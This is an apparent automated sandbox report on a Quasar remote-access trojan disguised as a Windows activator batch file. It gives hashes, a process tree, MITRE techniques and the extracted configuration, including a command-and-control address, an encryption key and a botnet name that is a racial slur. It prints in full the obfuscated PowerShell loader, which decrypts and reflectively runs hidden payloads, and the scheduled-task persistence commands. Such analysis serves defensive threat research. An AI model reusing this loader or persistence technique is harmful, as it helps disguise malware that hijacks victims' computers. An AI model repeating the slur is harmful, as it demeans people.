quasar | fcbc5a9373b2ae956dc3457dfc1a420874b74e8eb2608a18b4af872d081dcdf5

General

Target

windowsactivator.bat
Size

3.3MB
MD5

ad2205a76bbb0da48c8a9a08f719ab4a
SHA1

85e6141e85c8aa9fec30185e2c404e7b8eb04ecf
SHA256

fcbc5a9373b2ae956dc3457dfc1a420874b74e8eb2608a18b4af872d081dcdf5
SHA512

999da62f3b0ace84e19044671f74b68e65bb6e844ca01b466c201948e6251f98ba285a6c4a8e966de08bf3cf55f5d5cb5ac72dd111b1ce8374c8d198998448be
SSDEEP

49152:ieZhRUmd8UOahBXe2uA5l8QFsJPj93JFE/zQVsGEd9yMM:it

Score

10^/10

quasar niggger execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

1.4.1

Botnet

Niggger

C2

2600:1700:b1e0:a330:b9ee:2632:e244:9a9:4782

Mutex

2e7c6a16-860e-42fe-9feb-98d63fa4f025

Attributes

encryption_key
D8AAEEC300C8107099917E1DA2F8BCD2181F4CE6
install_name
windowsactivator.exe
log_directory
Logs
reconnect_delay
3000
startup_key
windowsactivator
subdirectory
windowsactivator

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3012-14-0x0000020E7CF20000-0x0000020E7D394000-memory.dmp	family_quasar
behavioral2/memory/3012-17-0x0000020E7D430000-0x0000020E7D754000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\windowsactivator.exe	family_quasar
behavioral2/memory/3016-30-0x0000000000550000-0x0000000000874000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3012 powershell.exe
Executes dropped EXE 3 IoCs

Processes:

windowsactivator.exewindowsactivator.exewindowsactivator.exe

pid process

3016 windowsactivator.exe
2300 windowsactivator.exe
644 windowsactivator.exe
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

216 schtasks.exe
1580 schtasks.exe
4416 schtasks.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3012 powershell.exe
3012 powershell.exe

pid	process
3012	powershell.exe

pid	process
3016	windowsactivator.exe
2300	windowsactivator.exe
644	windowsactivator.exe

pid	process
216	schtasks.exe
1580	schtasks.exe
4416	schtasks.exe

pid	process
3012	powershell.exe
3012	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exewindowsactivator.exewindowsactivator.exewindowsactivator.exe

description	pid	process
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	3016	windowsactivator.exe
Token: SeDebugPrivilege	2300	windowsactivator.exe
Token: SeDebugPrivilege	644	windowsactivator.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

windowsactivator.exe

pid process

2300 windowsactivator.exe

pid	process
2300	windowsactivator.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

cmd.exepowershell.exewindowsactivator.exewindowsactivator.exe

description	pid	process	target process
PID 1004 wrote to memory of 3012	1004	cmd.exe	powershell.exe
PID 1004 wrote to memory of 3012	1004	cmd.exe	powershell.exe
PID 3012 wrote to memory of 3016	3012	powershell.exe	windowsactivator.exe
PID 3012 wrote to memory of 3016	3012	powershell.exe	windowsactivator.exe
PID 3012 wrote to memory of 216	3012	powershell.exe	schtasks.exe
PID 3012 wrote to memory of 216	3012	powershell.exe	schtasks.exe
PID 3016 wrote to memory of 1580	3016	windowsactivator.exe	schtasks.exe
PID 3016 wrote to memory of 1580	3016	windowsactivator.exe	schtasks.exe
PID 3016 wrote to memory of 2300	3016	windowsactivator.exe	windowsactivator.exe
PID 3016 wrote to memory of 2300	3016	windowsactivator.exe	windowsactivator.exe
PID 3012 wrote to memory of 644	3012	powershell.exe	windowsactivator.exe
PID 3012 wrote to memory of 644	3012	powershell.exe	windowsactivator.exe
PID 2300 wrote to memory of 4416	2300	windowsactivator.exe	schtasks.exe
PID 2300 wrote to memory of 4416	2300	windowsactivator.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/m+uM7hqICRxp6Rj0SHeKQPPt+zvIT8gCSs7+jKku8M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cfQ3peVRUENpqFR1SQzgkQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tqQsK=New-Object System.IO.MemoryStream(,$param_var); $IcUTR=New-Object System.IO.MemoryStream; $HyFSs=New-Object System.IO.Compression.GZipStream($tqQsK, [IO.Compression.CompressionMode]::Decompress); $HyFSs.CopyTo($IcUTR); $HyFSs.Dispose(); $tqQsK.Dispose(); $IcUTR.Dispose(); $IcUTR.ToArray();}function execute_function($param_var,$param2_var){ $YyUtj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VPmsL=$YyUtj.EntryPoint; $VPmsL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat';$brVkN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat').Split([Environment]::NewLine);foreach ($hBggO in $brVkN) { if ($hBggO.StartsWith(':: ')) { $kvrLw=$hBggO.Substring(3); break; }}$payloads_var=[string[]]$kvrLw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3012

C:\Users\Admin\AppData\Local\Temp\windowsactivator.exe
"C:\Users\Admin\AppData\Local\Temp\windowsactivator.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3016

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:1580

C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe
"C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2300

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4416

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "windowsactivator" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:216

C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe
"C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\windowsactivator.exe.log

Filesize
1KB

MD5
baf55b95da4a601229647f25dad12878

SHA1
abc16954ebfd213733c4493fc1910164d825cac8

SHA256
ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

SHA512
24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hjh00sgd.3nh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\windowsactivator.exe

Filesize
3.1MB

MD5
5bb7e22ecc7d989a24478712a765a9a2

SHA1
5b6baa08eed2f0c697ddd11ff268c04407b78fdc

SHA256
72983dfe6d0768f5a8dfffaacd4787a495987ee4f9a7cfe3448be836db7295ae

SHA512
b8e4303d502b6e277be958565222db7189530ec7b6c82101fec6658ff4160410b79fcb84909a17c3e2e26ddde9879448a742b6ed68d907bb9773fbdb9913ab77

Download Submit
C:\Users\Admin\AppData\Roaming\windowsactivator\windowsactivator.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/2300-46-0x000000001C710000-0x000000001C7C2000-memory.dmp

Filesize
712KB

Download
memory/2300-45-0x000000001C600000-0x000000001C650000-memory.dmp

Filesize
320KB

Download
memory/3012-12-0x00007FFE96FB0000-0x00007FFE97A71000-memory.dmp

Filesize
10.8MB

Download
memory/3012-17-0x0000020E7D430000-0x0000020E7D754000-memory.dmp

Filesize
3.1MB

Download
memory/3012-14-0x0000020E7CF20000-0x0000020E7D394000-memory.dmp

Filesize
4.5MB

Download
memory/3012-25-0x00007FFE96FB0000-0x00007FFE97A71000-memory.dmp

Filesize
10.8MB

Download
memory/3012-13-0x0000020E52240000-0x0000020E52248000-memory.dmp

Filesize
32KB

Download
memory/3012-0-0x00007FFE96FB3000-0x00007FFE96FB5000-memory.dmp

Filesize
8KB

Download
memory/3012-11-0x00007FFE96FB0000-0x00007FFE97A71000-memory.dmp

Filesize
10.8MB

Download
memory/3012-10-0x0000020E6C990000-0x0000020E6C9B2000-memory.dmp

Filesize
136KB

Download
memory/3012-47-0x00007FFE96FB0000-0x00007FFE97A71000-memory.dmp

Filesize
10.8MB

Download
memory/3016-29-0x00007FFE96FB0000-0x00007FFE97A71000-memory.dmp

Filesize
10.8MB

Download
memory/3016-30-0x0000000000550000-0x0000000000874000-memory.dmp

Filesize
3.1MB

Download
memory/3016-31-0x00007FFE96FB0000-0x00007FFE97A71000-memory.dmp

Filesize
10.8MB

Download
memory/3016-43-0x00007FFE96FB0000-0x00007FFE97A71000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads